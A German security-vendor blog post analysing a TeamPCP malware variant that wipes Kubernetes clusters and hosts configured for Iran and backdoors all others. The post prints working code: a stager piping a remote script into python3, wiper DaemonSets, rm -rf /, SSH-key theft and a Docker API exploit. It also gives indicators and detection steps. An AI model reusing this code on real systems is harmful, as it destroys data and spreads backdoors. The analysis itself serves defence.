Aikido

CanisterWorm bekommt Zähne: TeamPCPs Kubernetes Wiper zielt auf Iran ab

Verfasst von
Charlie Eriksen

Wir haben eine neue Payload im Arsenal von TeamPCP gefunden, und diese stiehlt nicht nur Anmeldeinformationen oder installiert Hintertüren. Sie löscht ganze Kubernetes-Cluster.

Das Skript verwendet genau denselben ICP-Canister (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io), den wir in der CanisterWorm-Kampagne. Derselbe C2, derselbe Backdoor-Code, derselbe /tmp/pglog Drop-Pfad. Die Kubernetes-native laterale Bewegung über DaemonSets stimmt mit dem bekannten Playbook von TeamPCP überein, aber diese Variante fügt etwas hinzu, das wir von ihnen noch nicht gesehen haben: eine geopolitisch gezielte destruktive Payload, die speziell auf iranische Systeme abzielt.

Wichtige Details

Da der Blogbeitrag viele technische Details enthält, hier eine Zusammenfassung der wichtigsten Beobachtungen, die wir gemacht haben:

  • 🐙 Gleicher ICP-Canister C2 wie CanisterWorm (tdtqy-oyaaa-aaaae-af2dq-cai)
  • 🎯 Payload prüft Zeitzone und Gebietsschema, um iranische Systeme zu identifizieren
  • ☸️ Auf Kubernetes: stellt privilegierte DaemonSets auf jedem Node bereit, einschließlich der Control Plane
    • 💀 Iranische Nodes werden gelöscht und über einen Container namens zwangsweise neu gestartet kamikaze
    • 🔒 Nicht-iranische Nodes erhalten die CanisterWorm-Backdoor als systemd-Dienst installiert
  • 💣 Nicht-K8s-iranische Hosts erhalten rm -rf / --no-preserve-root
  • 🐘 Persistenz getarnt als PostgreSQL-Tools: pglog, pg_state, internal-monitor
  • 🔄 Mehrere Cloudflare-Tunnel-Domains rotieren als Payload-Bereitstellungsinfrastruktur
  • 🪱 Neueste Variante fügt netzwerkbasierte laterale Bewegung hinzu
    • 🔑 SSH-Verbreitung über gestohlene Schlüssel und Auth-Log-Parsing
    • 🐳 Nutzt exponierte Docker-APIs auf Port 2375 im lokalen Subnetz aus

Der Stager

Zuerst beobachteten wir, dass es einfach auf https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , das eine einzelne Payload enthielt. Später teilte es die Payload in zwei Dateien auf, wie unten dargestellt.

#!/usr/bin/env bash
set -euo pipefail

if ! command -v kubectl &>/dev/null; then
    ARCH="amd64"
    [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
    curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
    chmod +x /tmp/kubectl
    export PATH="/tmp:$PATH"
fi

PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -

rm -- "$0"

Man kann sehen, dass es kubectl herunterlädt, falls es nicht bereits installiert ist. Dann lädt es kube.py vom selben Host herunter und führt es aus, bevor es sich selbst löscht. Der wirklich interessante Code ist darin enthalten. Hier sind die letzten Zeilen des Skripts, die die Absicht des Codes klar umreißen, den wir weiter aufschlüsseln werden:

if __name__ == "__main__":
    if is_k8s():
        if is_iran():
            deploy_destructive_ds()
        else:
            deploy_std_ds()
    else:
        if is_iran():
            poison_pill()
        sys.exit(1)

Wie es sein Ziel wählt

Das Erste, was die Payload tut, ist herauszufinden, wo sie ausgeführt wird. Zwei Prüfungen:

def is_k8s():
    return os.path.exists("/var/run/Secrets/kubernetes.io/serviceaccount") or \
           "KUBERNETES_SERVICE_HOST" in os.environ

Standard-Kubernetes-Pod-Erkennung. Jeder Pod erhält standardmäßig ein Service-Konto gemountet.

Danach folgt dies:

def is_iran():
    tz = ""
    if os.path.exists("/etc/timezone"):
        with open("/etc/timezone", "r") as f:
            tz = f.read().strip()
    else:
        try:
            tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"], 
                                         stderr=subprocess.DEVNULL).decode().strip()
        except:
            pass
    
    lang = os.environ.get("LANG", "")
    return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in lang

Es prüft die System-Zeitzone und das Locale. Ist die Maschine für den Iran konfiguriert (Asia/Tehran, Iran, oder fa_IR), nimmt die Payload einen sehr unterschiedlichen Pfad.

Vier Pfade, ein Skript

Der Entscheidungsbaum ist einfach und brutal:

  • Kubernetes + Iran: Stellt ein DaemonSet bereit, das jeden Node im Cluster löscht.
  • Kubernetes + anderswo: Stellt ein DaemonSet bereit, das die CanisterWorm-Backdoor auf jedem Node installiert.
  • Kein Kubernetes + Iran: rm -rf / --no-preserve-root
  • Kein Kubernetes + anderswo: Beenden. Nichts geschieht.

Der Wiper: „kamikaze“

Das auf den Iran abzielende DaemonSet wird genannt host-provisioner-iran. Der Container darin heißt kamikaze. Subtil ist das nicht.

def deploy_destructive_ds():
    ds_name = "host-provisioner-iran"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: kamikaze
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
            chroot /mnt/host reboot -f
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

Das DaemonSet mountet das Root-Dateisystem des Hosts nach /mnt/host, löscht alles auf der obersten Ebene und startet dann zwangsweise neu. Da es sich um ein DaemonSet mit tolerations: [operator: Exists], es wird auf jedem Knoten im Cluster, einschließlich der Steuerungsebene, eingeplant. Eine kubectl apply und der gesamte Cluster ist unbrauchbar.

Der Persistenzpfad

Für nicht-iranische Ziele ist das DaemonSet (host-provisioner-std) weniger dramatisch, aber operativ nützlicher. Es schreibt die CanisterWorm-Backdoor auf jeden Knoten und registriert sie als systemd-Dienst:

def deploy_std_ds():
    ds_name = "host-provisioner-std"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: provisioner
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
            echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
            cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
            [Unit]
            Description=System Monitor
            After=network.target

            [Service]
            ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
            Restart=always
            RestartSec=5

            [Install]
            WantedBy=multi-user.target
            EOF_UNIT
            chroot /mnt/host systemctl daemon-reload
            chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
            sleep infinity
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

Die Backdoor ist dieselbe, die wir im CanisterWorm-Beitrag dokumentiert haben. Sie fragt den ICP-Canister alle 50 Minuten nach einer binären URL ab, lädt herunter und führt aus, was immer ihr gesagt wird. Der youtube[.]com Kill Switch ist immer noch vorhanden.

Die „Poison Pill“

Für nicht-Kubernetes-iranische Systeme ist der Ansatz roher:

def poison_pill():
    cmd = "rm -rf / --no-preserve-root"
    if os.getuid() == 0:
        os.system(cmd)
    else:
        os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")

Wenn es Root-Rechte hat, löscht es das System. Wenn nicht, versucht es passwortloses sudo und versucht es dann trotzdem. Selbst ohne Root-Rechte zerstört es alles, was der Benutzer besitzt.

Warum das wichtig ist

TeamPCP wurde seit Ende 2025 als Cloud-nativer Bedrohungsakteur dokumentiert, der auf falsch konfigurierte Docker APIs, Kubernetes-Cluster und CI/CD-Pipelines abzielt. Ihr Playbook (Umgebungs-Fingerprinting, Kubernetes-spezifisches Branching) war konsistent. Aber die Trivy-Kompromittierung und die CanisterWorm-Kampagne zeigten, dass sie in der Lage waren, im Maßstab der Lieferkette zu operieren, und diese Payload zeigt, dass sie bereit sind, destruktiv zu sein, wenn sie es wollen.

Worauf zu achten ist

Suchen Sie nach DaemonSets in kube-system die Sie nicht erstellt haben:

kubectl get ds -n kube-system

Suchen Sie nach host-provisioner-iran oder host-provisioner-std. Überprüfen Sie auch jedes DaemonSet, das hostPath: / mit einem privilegierten Sicherheitskontext. Diese Kombination sollte niemals außerhalb von Agenten auf Infrastrukturebene, wie dem Kubelet selbst, auftreten.

Auf der Host-Seite prüfen Sie auf:

  • Ein systemd-Dienst namens internal-monitor (systemctl status internal-monitor)
  • Dateien unter /var/lib/svc_internal/runner.py
  • Prozesse mit dem Namen pglog in /tmp/
  • Ausgehende Verbindungen zu icp0[.]io Domains

Update: Es verbreitet sich jetzt

Eine dritte Iteration des Payloads ist gerade aufgetaucht, gehostet unter https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py Dieselbe ICP Canister Backdoor, derselbe Iran Wiper, aber dieser benötigt kein Kubernetes. Er verbreitet sich eigenständig.

Die vorherigen Versionen nutzten DaemonSets zur Verbreitung innerhalb eines Clusters. Diese Variante verzichtet vollständig darauf und ersetzt dies durch zwei Methoden zur lateralen Bewegung: SSH-Schlüsseldiebstahl und die Ausnutzung exponierter Docker-APIs. Sie scannt auch das lokale /24-Subnetz nach neuen Zielen.

So findet es Maschinen, die angegriffen werden sollen:

def get_accepted_targets():
    targets = {}
    for path in ["/var/log/auth.log", "/var/log/secure"]:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    for line in f:
                        if "Accepted" in line:
                            match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
                            if match:
                                user, ip = match.groups()
                                if ip not in targets: targets[ip] = []
                                if user not in targets[ip]: targets[ip].append(user)
            except: pass
    return targets

Es parst /var/log/auth.log und /var/log/secure nach erfolgreichen SSH-Logins und extrahiert dabei sowohl den Benutzernamen als auch die Quell-IP. Diese werden zu gezielten Verbreitungspaaren. Für jede IP, die es im Subnetz findet und die nicht in den Auth-Logs war, versucht es stattdessen root, ubuntu, admin, und ec2-user.

Anschließend erfasst es jeden SSH-Privatschlüssel, den es finden kann:

keys = []
ssh_base = os.path.expanduser("~/.ssh")
for t in ["id_RSA", "id_ed25519", "id_ecdsa"]:
    p = os.path.join(ssh_base, t)
    if os.path.exists(p): keys.append(p)

Für jedes Ziel werden zwei Ports überprüft. Port 22 wird für die SSH-Verbreitung genutzt:

cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
       "-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
       f"echo {b64_logic} | base64 -d | bash"]

Port 2375 wird für den Docker API Exploit genutzt, der einen privilegierten Container mit gemountetem Host-Root erstellt:

payload = {
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
    "HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})

Beide Pfade liefern denselben get_remote_logic() Payload, der den Iran-Zeitzonen-Check auf dem Remote-Host ausführt. Iranische Ziele werden gelöscht, alle anderen erhalten den pgmon.py Backdoor als systemd-Dienst installiert.

Der Wiper selbst hat sich geändert. Die früheren Versionen verwendeten rm -rf / --no-preserve-root auf Nicht-K8s-Hosts, während die DaemonSet-Variante find \/ -maxdepth 1 ... -exec rm -rf {} + mit einem erzwungenen Neustart. Diese Version standardisiert den find Ansatz mit reboot -f durchgängig:

find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -f

Dies stammt direkt aus TeamPCPs früherer proxy.sh und pcpcat.py Tooling, wo sie nach exponierten Docker-APIs suchten und SSH-Schlüssel über Subnetze verteilten. Der Unterschied ist, dass diese Tools eigenständige Skripte zum Aufbau von Infrastruktur waren. Dieses hier trägt die CanisterWorm-Backdoor und den Iran-Wiper in sich.

Einige weitere Änderungen gegenüber den vorherigen Versionen: Der Dienstname wechselte von internal-monitor zu pgmonitor, der Installationspfad wechselte von \/var\/lib\/svc_internal\/ zu \/var\/lib\/pgmon\/, und die systemd-Beschreibung lautet nun "Postgres Monitor Service". Die PostgreSQL-Tarnung wird konsistenter.

Indikatoren für Kompromittierung

Netzwerk

  • tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io (ICP-Canister-C2-Dead-Drop)
  • https://souls-entire-defined-routes.trycloudflare[.]com/ (Payload-Bereitstellung, erste)
  • https://investigation-launches-hearings-copying.trycloudflare[.]com/ (Payload-Bereitstellung, zweite)
  • https://championships-peoples-point-cassette.trycloudflare[.]com (Payload-Bereitstellung, dritte)

Kubernetes

  • DaemonSet host-provisioner-iran in kube-system
  • DaemonSet host-provisioner-std in kube-system
  • Containernamen: kamikaze, Provisioner

Host

  • /var/lib/svc_internal/runner.py
  • /etc/systemd/system/internal-monitor.service
  • /tmp/pglog
  • /tmp/.pg_state
  • /var/lib/pgmon/pgmon.py
  • /etc/systemd/system/pgmonitor.service
  • Systemd-Dienst: pgmonitor (Beschreibung: „Postgres Monitor Dienst“)
  • Systemd-Dienst: internal-monitor

Indikatoren für Lateral Movement

  • Ausgehende SSH-Verbindungen mit StrictHostKeyChecking=no von kompromittierten Hosts
  • Ausgehende Verbindungen zu Port 2375 (Docker API) über das lokale Subnetz
  • Privilegierte Alpine-Container, erstellt über eine unauthentifizierte Docker API mit hostPath: / Bind-Mount

... Laufende Entwicklung. Bleiben Sie für Updates auf dem Laufenden.

Teilen:

https://www.aikido.dev/blog/teampcp-stage-payload-canisterworm-iran

Abonnieren Sie Bedrohungs-News.

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.